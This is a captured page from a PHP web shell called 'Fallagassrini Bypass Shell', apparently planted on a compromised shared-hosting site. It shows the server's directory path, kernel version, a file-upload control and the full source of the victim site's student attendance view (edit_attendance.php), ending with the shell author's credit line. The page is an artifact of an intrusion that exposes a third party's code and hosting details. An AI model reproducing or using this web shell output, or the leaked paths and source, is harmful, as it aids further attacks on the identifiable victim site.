? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec_old/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec_old/application/views/student/edit_attendance.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>

<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_attendance','view_attendance','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Updating  Attendance</h4>
    </div>
</div>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('student/addinstudent/update_attendance/view_attendance/1', $attributes);
$start_time = explode(":", $viewinfo->start_time);
$end_time = explode(":", $viewinfo->end_time);
$batch_details = $this->mastermodel->get_data_srow('batch', $viewinfo->batch_id, 'batch_id');
$subject = $this->mastermodel->get_data_joined('subject', 'course_subject', 'subject_id', 'subject_id', $batch_details->course_id, 'course_id', 'subject_name');
$teacher = $this->mastermodel->get_data('employee', '1', 'employee_teacher');
?>
<div class="grid_6">
    <div class="box">
        <div class="header main"> </div>
        <div class="content no-padding">
            <div class="section _100">
                <label>Batch Code</label>
                <div   class="single_page"> 
                    <?= $batch_details->batch_no; ?>
                </div>
            </div>  
            <div class="section _100">
                <label>Course Name</label>
                <div class="single_page"> 
                    <?= $this->mastermodel->get_single_field_value('course', 'course_name', 'course_id', $batch_details->course_id); ?>
                </div>
            </div>
            <div class="section _100" >
                    <label> Teacher Name</label>           
                    <div >
                        <select name="teacher_id" id="teacher_id" class="chzn-done"  >
                            <option value=''>Select</option>
                            <?php
                            foreach ($teacher as $list) {
                                ?>
                                <option value="<?= $list['employee_id'] ?>"<?php if($viewinfo->teacher_id==$list['employee_id']){echo "selected";}?>><?= $list['employee_name'] ?></option>
                                <?php
                            }
                            ?>
                        </select>
                    </div>   
                   
                </div> 
            <div class="section _100">
                <label>Class Room</label>
                <div class="single_page"> 
                    <?= $this->mastermodel->get_single_field_value('class', 'class_name', 'class_id', $viewinfo->class_id); ?>
                </div>
            </div>  

            <div class="section _100">
                <label>Attendance Date</label>
                <div>
                    <input class="required calfocus" disabled name="attendance_date" id="attendance_date" type="text" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->attendance_date) ?>" />
                </div>
            </div>
            <div class="section _100">
                <label>Start Time</label>
                <div>
                    <?php echo createHours('start_time_hour', $start_time[0]); ?>
                    <?php echo createMinutes('start_time_minute', $start_time[1]); ?>
                </div>
            </div>

            <div class="section _100">
                <label>End Time</label>
                <div>
                    <?php echo createHours('end_time_hour', $end_time[0]); ?>
                    <?php echo createMinutes('end_time_minute', $end_time[1]); ?>
                </div>
            </div>
            <div class="section _100">
                <label>Subject</label>
                <div>
                    <select name="subject_id" class="chzn-done" id="subject_id">
                        <option value="">--Select--</option>
                        <?php
                        foreach($subject as $list)
                        {
                        ?>
                        <option value="<?=$list['subject_id'];?>" <?php if($list['subject_id']==$viewinfo->subject_id) {echo "selected";} ?>><?=$list['subject_name'];?></option>
                        <?php
                        }
                        ?>
                    </select>
                </div>
            </div>
            
            <div class="section _100">
                <label>Remarks </label>
                <div>
                    <textarea name="remarks" id="remarks" type="text"><?= $viewinfo->remarks ?></textarea>                    
                </div>
            </div>          
        </div>        
    </div>
</div>



<div class="grid_12" >
    <div class="box">
        <div class="content no-padding">     
            <div class="header main">  Attendance Details</div>
            <table class="table" id="stud_sub">
                <thead id="stud_sub_head">
                    <tr>
                        <td style="text-align: center;width: 120px;height: 30px;">Sl no</td>
                        <td style="text-align: center;">Student Name</td> 
                        <td style="text-align: center;">Student No</td> 
                        <td style="text-align: center;">Gender</td> 
                        <td style="text-align: center;">Nationality</td>
                        <td style="text-align: center" >Attendance</td>
                        <td style="text-align: center">Remarks</td>

                    </tr>
                    <tr>
                        <td colspan="5"> </td>          
                        <td style="text-align: center">P/A (mark absent)</td>
                        <td style="text-align: center"></td>

                    </tr>
                </thead>
                <tbody>

                    <?php
                    $html = "";
                    $students = $this->mastermodel->get_data('attendance_details', $viewinfo->attendance_id, 'attendance_id');
                    if (!empty($students)) {
                        $j = 1;
                         
                        $k = 0;
                        $l = 1;
                        foreach ($students as $list) {
                            $studnt_name = $this->mastermodel->get_data_srow('student', $list['student_id'], 'student_id');

                            $deactivate = $this->studentmodel->check_deactivate($viewinfo->batch_id, $list['student_id'], $viewinfo->attendance_date);

                            if ($deactivate > 0) {
                                $sl = count($students) - $k;
                                $html = '<tr>
                                <input type="hidden" name="student_id_' . $j . '" value="' . $list['student_id'] . '"/> 
                                <td style="text-align: center;height: 30px;">' . $sl . '</td>
                                <td>' . $studnt_name->first_name . " " . $studnt_name->last_name . ' </td>    
                                <td> ' . $studnt_name->reg_no . '</td>    
                                <td>' . $studnt_name->gender . '</td>
                                <td>' . $studnt_name->nationality . '</td>                    
                                <td style="text-align: center;"><input type="hidden" name="attendance' . $j . '" value="deactivate" />Deactivated</td> 
                                
                                <td style="text-align: center;"><textarea   name="remarks' . $j . '" id="remark_' . $j . '" type="text">' . $list['remarks'] . '</textarea></td>
                            </tr>' . $html;
                                $k++;
                            } else {
                                $sl = $l;
                                ?>

                                <tr>
                            <input type="hidden" name="student_id_<?= $j ?>" value="<?= $list['student_id'] ?>" /> 
                            <td style="text-align: center;width: 120px;height: 30px;"><?= $sl ?></td>
                            <td><?= $studnt_name->first_name . " " . $studnt_name->last_name ?></td>      
                            <td><?= $studnt_name->reg_no; ?></td>        
                            <td><?= $studnt_name->gender; ?></td>  
                            <td><?= $studnt_name->nationality; ?></td>  
                            <?php
                                if($list['attendance'] == 3)
                                {
                                    echo '<td style="text-align: center;"><input type="hidden" name="attendance'.$j.'" value="unallocated" />Unallocated</td>';                                            
                                }
                                else
                                {
                                ?>
                            <td style="text-align: center;"><input type="checkbox" name="attendance<?= $j ?>" <?php if ($list['attendance'] == 1) {
                        echo "checked";
                    } ?> /></td>
                            <?php
                                }
                                ?>
                            <td style="text-align: center;"><textarea   name="remarks<?= $j ?>" id="remark<?= $j ?>" type="text"><?= $list['remarks'] ?></textarea></td>
                            </tr>
                            <?php
                            $l++;
                        }
                        $j++;
                    }
                    echo $html;
                }
                ?>

                </tbody>

            </table>
        </div>
    </div>
</div> 





<div class="grid_12" >
    <div class="box">
        <div class="actions">
            <div class="actions-left">
                <input type="reset">
                <input name="attendance_id" id="attendance" type="hidden" value="<?= $viewinfo->attendance_id ?>"/>
            </div>
            <div class="actions-right">
                <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
            </div>
        </div>
    </div>
</div>

<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net